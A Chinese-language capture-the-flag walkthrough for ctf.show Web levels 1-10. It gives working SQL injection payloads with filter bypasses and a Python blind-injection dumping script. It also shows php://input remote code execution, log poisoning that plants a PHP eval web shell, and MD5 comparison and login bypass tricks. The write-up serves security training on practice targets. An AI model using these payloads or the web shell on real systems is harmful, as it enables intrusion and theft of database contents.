ctf.show—Web(1-10)详细通关教程
Web1-签到题
1、按F12查看元素,发现有一段被注释的字符串
2、看起来并不像flag,格式类似于Base64编码
扔到Base64在线编码平台:Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。https://www.toolhelper.cn/EncodeDecode/Base64
3、解码后成功拿到flag
Web2-最简单的SQL注入
考查点:
-
基本的SQL注入
-
多表联合查询
1、判断注入点
用户名输入以下payload, 使SQL恒成立, 密码不用输
a' or true #
页面正常显示, 并且展示了登录成功后的用户名
2、接下来, 在用户名输入以下payload, 使SQL恒不成立, 密码还是不用输
a' or false #
页面空显示, 原来显示用户名的地方, 现在为空了, 这是因为我们输入的参数拼接到SQL中执行时, 使SQL变得横不成立, SQL查询不到用户的信息, 自然会空显示
由以上结果可知, 用户可以通过参数来控制SQL语句的执行结果, 故而存在SQL注入漏洞, 并且注入点为单引号字符型注入, 由于页面中有显示位( SQL查询的结果会在页面的固定位置显示), 推荐使用联合注入
3、脱库
获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输
a' union select 1,database(),3 #
4、获取数据库web2中的表
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #
5、获取表flag中的字段, 很明显flag就在flag表中
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #
6、获取 flag
a' union select 1,(select flag from flag),3 #
Web3-php伪协议
1、php://input伪协议
php://input伪协议是文件包含漏洞的一种利用方式, 在url的参数中使用伪协议时, 会将POST请求体中的内容当做文件来执行, 如果POST请求体中包含代码, 则代码会被正常执行, 从而造成任意代码执行
2、打开后出现这样的页面
3、在url的参数中提交PHP伪协议
?url=php://input
4、使用代理工具( Burp Suite)抓包, 在POST请求体中输入需要执行的PHP代码, 执行系统命令:查看当前目录下的文件
<?php system('ls');?>
发现一个名称为ctf_go_go_go和index.php的文件夹
5、用代理工具( Burp Suite)拦截请求, 在POST请求体中传递需要执行的PHP代码
<?php system('cat ctf_go_go_go');?>
这里就已经得到flag了
6、也可以尝试查看index.php的内容
<?php system('cat index.php');?>
Web4-日志注入 文件包含
1、日志注入:
日志注入是文件包含漏洞的一种利用方式, web服务器的日志文件会保存网站的访问记录, 包括请求的源地址, 时间, 请求方式, User-Agent, Referer等HTTP请求头, 如果在这些请求头中插入代码, 则代码会被保存在web服务器的日志文件中, 当我们访问日志文件的时候, 文件中的代码则会被执行
本次用到了一个Nginx日志文件的默认路径:/var/log/nginx/access.log
2、首先, 访问一下web服务器的日志文件
( Nginx日志文件的默认位置是/var/log/nginx/access.log)
(Windows日志文件的默认位置是 C盘/Windows/system32/winevt/logs)
?url=/var/log/nginx/access.log
3、使用代理工具( Burp Suite)在请求头User-Agent的内容中插入后门
<?php eval($_POST['1']);?>
4、使用蚁剑链接
5、在www目录下发现flag.txt
6、成功拿到flag
Web5-MD5加密漏洞-0e绕过
1、MD5加密漏洞
md5()函数在加密时存在一些漏洞, 这主要是因为PHP在使用来比较字符串时, 如果字符串是以0e开头, 则会被当做科学计数法, 结果转换为0
比如web5中, 两个参数经过md5()函数加密后, 都是0e开头, 在参与PHP的比较时, 都会转换为0, 结果会变成0=0, 从而使比较成立
2、打开页面为
3、分析题中给出的源码 可知当两个参数v1和v2的md5值相同时可得到flag
-
$flag="":初始化一个空字符串,用于存储 flag。 $v1=$_GET['v1']:从 URL 的 GET 参数中获取 v1 的值。 $v2=$_GET['v2']:从 URL 的 GET 参数中获取 v2 的值。 if(!ctype_alpha($v1)):检查 v1 是否全为字母,如果不是,输出 "v1 error" 并终止脚本。 if(!is_numeric($v2)):检查 v2 是否全为数字,如果不是,输出 "v2 error" 并终止脚本。 if(md5($v1)==md5($v2)):比较 v1 和 v2 的 MD5 哈希值是否相等,如果相等,输出 $flag(但 $flag 是空字符串,所以实际上不会显示任何内容)
4、需要我们构造一个纯字母和纯数字MD5相同的两个字符串
?v1=QNKCDZO&v2=240610708
5、成功拿到flag
MD5开头0e后边纯数字
62778807
6、md5()函数加密后以0e开头的值还有
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
Web6-sql注入,采用/**/注释绕过
1、使用万能账号测试注入点
括号()绕过, 用户名输入以下payload, 密码不用输
a'or(true)#
注释/**/绕过
a'/**/or/**/true/**/#
页面有显示位( 查询出来的用户在页面的固定位置展示), 推荐使用联合注入
2、脱库
获取当前数据库, 盲猜 flag 就在当前使用的数据库中, 用户名输入以下payload, 密码不用输
a'union/**/select/**/1,database(),3#
#或
'/**/or/**/1=1/**/union/**/select/**/1,/**/database(),/**/3;#--
3、获取数据库中的表
a'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema='web2'),3#
#或
'/**/or/**/1=1/**/union/**/select/**/1,/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),/**/3;#--
4、获取表中的字段
a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web2'and/**/table_name='flag'),3#
5、获取 flag表中 flag字段
a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3##或'/**/or/**/1=1/**/union/**/select/**/1,/**/(select/**/flag/**/from/**/flag),/**/3;#--
6、获取 user表中id字段
'/**/or/**/1=1/**/union/**/select/**/1,/**/(select/**/id/**/from/**/user),/**/3;#--
Web7-数值型注入
第七关也是一个SQL注入漏洞, 注入点是数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/**/ 或 括号() 来绕过
1、判断注入点
url地址栏中输入以下payload, 是SQL恒成立, 可以查询到所有文章内容, 由此可证明存在SQL注入
?id=-1/**/or/**/true
2、脱库,获取当前数据库, url中输入以下payload
/?id=-1/**/union/**/select/**/1,database(),3
3、获取数据库中的表
/?id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3
4、获取表中的字段
/?id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3
5、到这里就已经可以获取 flag了
/?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
6、我们也可以尝试查看user表中的字段
/?id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="user"),3
7、查看user表中id字段
?id=-1/**/union/**/select/**/1,(select/**/id/**/from/**/user),3
8、查看user表中username字段
?id=-1/**/union/**/select/**/1,(select/**/username/**/from/**/user),3
9、查看user表中password字段
?id=-1/**/union/**/select/**/1,(select/**/password/**/from/**/user),3
10、剩下的page表大家也可以自己去玩
/?id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="page"),3
Web8-SQL 注入
ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字,
过滤空格, 可以使用括号() 或者注释/**/ 绕过
过滤and, 可以使用or替代
过滤union, 可以用盲注替代联合注入
过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
1、首先确定注入点, 输入以下payload使SQL恒成立
?id=-1/**/or/**/true
由于SQL恒成立, 数据库将查询出表中的所有内容, 并返回到前端展示
2、再输入一下payload 使SQL恒不成立
?id=-1/**/or/**/false
由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示
3、由以上返回结果可知, 该页面存在SQL注入, 注入点为数值型注入
接下来进行脱库, 由于盲注脱库比较复杂, 此处我们构造Python脚本进行自动化脱库, 注意payload中的字符串不要换行, 否则可能会出问题
import requestsurl = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):# 获取当前使用的数据库# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'# 获取当前数据库的所有表# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'# 获取flag表的字段# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'# 获取flag表的数据payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'count = 0print('正在获取第 %d 个字符' % i)# 截取SQL查询结果的每个字符, 并判断字符内容for j in range(31, 128):result = requests.get(url + payload % (i, j))if 'If' in result.text:name += chr(j)print('数据库名/表名/字段名/数据: %s' % name)break# 如果某个字符不存在,则停止程序count += 1if count >= (128 - 31):exit()
Web9
1、使用dirsearch扫描目录发现有robots.txt
访问后页面为
2、这里提示我们访问/index.phps去下载,那我们就去访问
3、得到了index.phps文件,记事本打开
4、分析源码
初始化和获取密码:
$flag = "";
$password = $_POST['password'];
$flag
被初始化为空字符串,可能用于后续存储一些信息(如调试或错误信息)。
从 POST 请求中获取用户输入的密码。
密码长度检查:
if(strlen($password) > 10) {die("password error");
}
该条件检查用户输入的密码长度。如果密码长度超过 10 个字符,脚本将终止并返回 "password error"
的消息。这是一个基本的安全措施,用于防止过长的输入,可能是为了防止某些类型的攻击(如缓冲区溢出)。
5、SQL 查询构造:
$sql = "select * from user where username ='admin' and password ='" . md5($password, true) . "'";
构建 SQL 查询,检查用户表中是否存在用户名为 'admin'
且密码为输入密码经过 md5
哈希处理后的记录。
使用 md5($password, true)
进行哈希计算,第二个参数为 true
表示返回二进制格式的 MD5 字符串。注意,通常在数据库中存储 MD5 哈希值时,使用的是十六进制表示(即不传第二个参数),这可能导致在验证时出错。
执行 SQL 查询:
$result = mysqli_query($con, $sql);
执行 SQL 查询,查询结果存储在 $result
变量中。
结果检查:
if(mysqli_num_rows($result) > 0) {while($row = mysqli_fetch_assoc($result)) {echo "登陆成功<br>";echo $flag;}
}
检查查询结果的行数。如果返回的行数大于 0,则表示用户名和密码匹配成功。
进入循环,取出查询的每一行(虽然在这个例子中,用户名应该是唯一的,所以只会有一行),并输出 "登陆成功"
和 $flag
的值(此时 $flag
仍为空)。
这里输入的值将会进行md5加密,再通过Hex转为字符串,需要让我们把这个字符串组成sql语句切返回行数大于0
6、这里用到一个很奇妙的字符串 ffifdyop
MD5加密后是 276f722736c95d99e921722cf9ed621c
对应Hex为 'or'6É]é!r,ùíb
将ffifdyop输入后,也是成功拿到了flag
Web10
1、进入页面
2、用Ctrl+u查看源码,或者在url前加上view-source: 查看源码
3、F12查看元素发现有个 style.css
4、直接点击或在url后加上/style.css
5、这里我们发现有个index.phps,我们也是直接访问
6、得到源码
从源码中可以得知几乎把注入用到的关键词过滤的差不多了,而且双写也被限制了
7、这里介绍两个mysql语句
①group by(将结果集中的数据行根据选择列的值进行逻辑分组)
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
结果中将会多出一行,其中password列为null,count(*)为统计和。
其中/**/是为了绕过空格过滤
8、payload:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。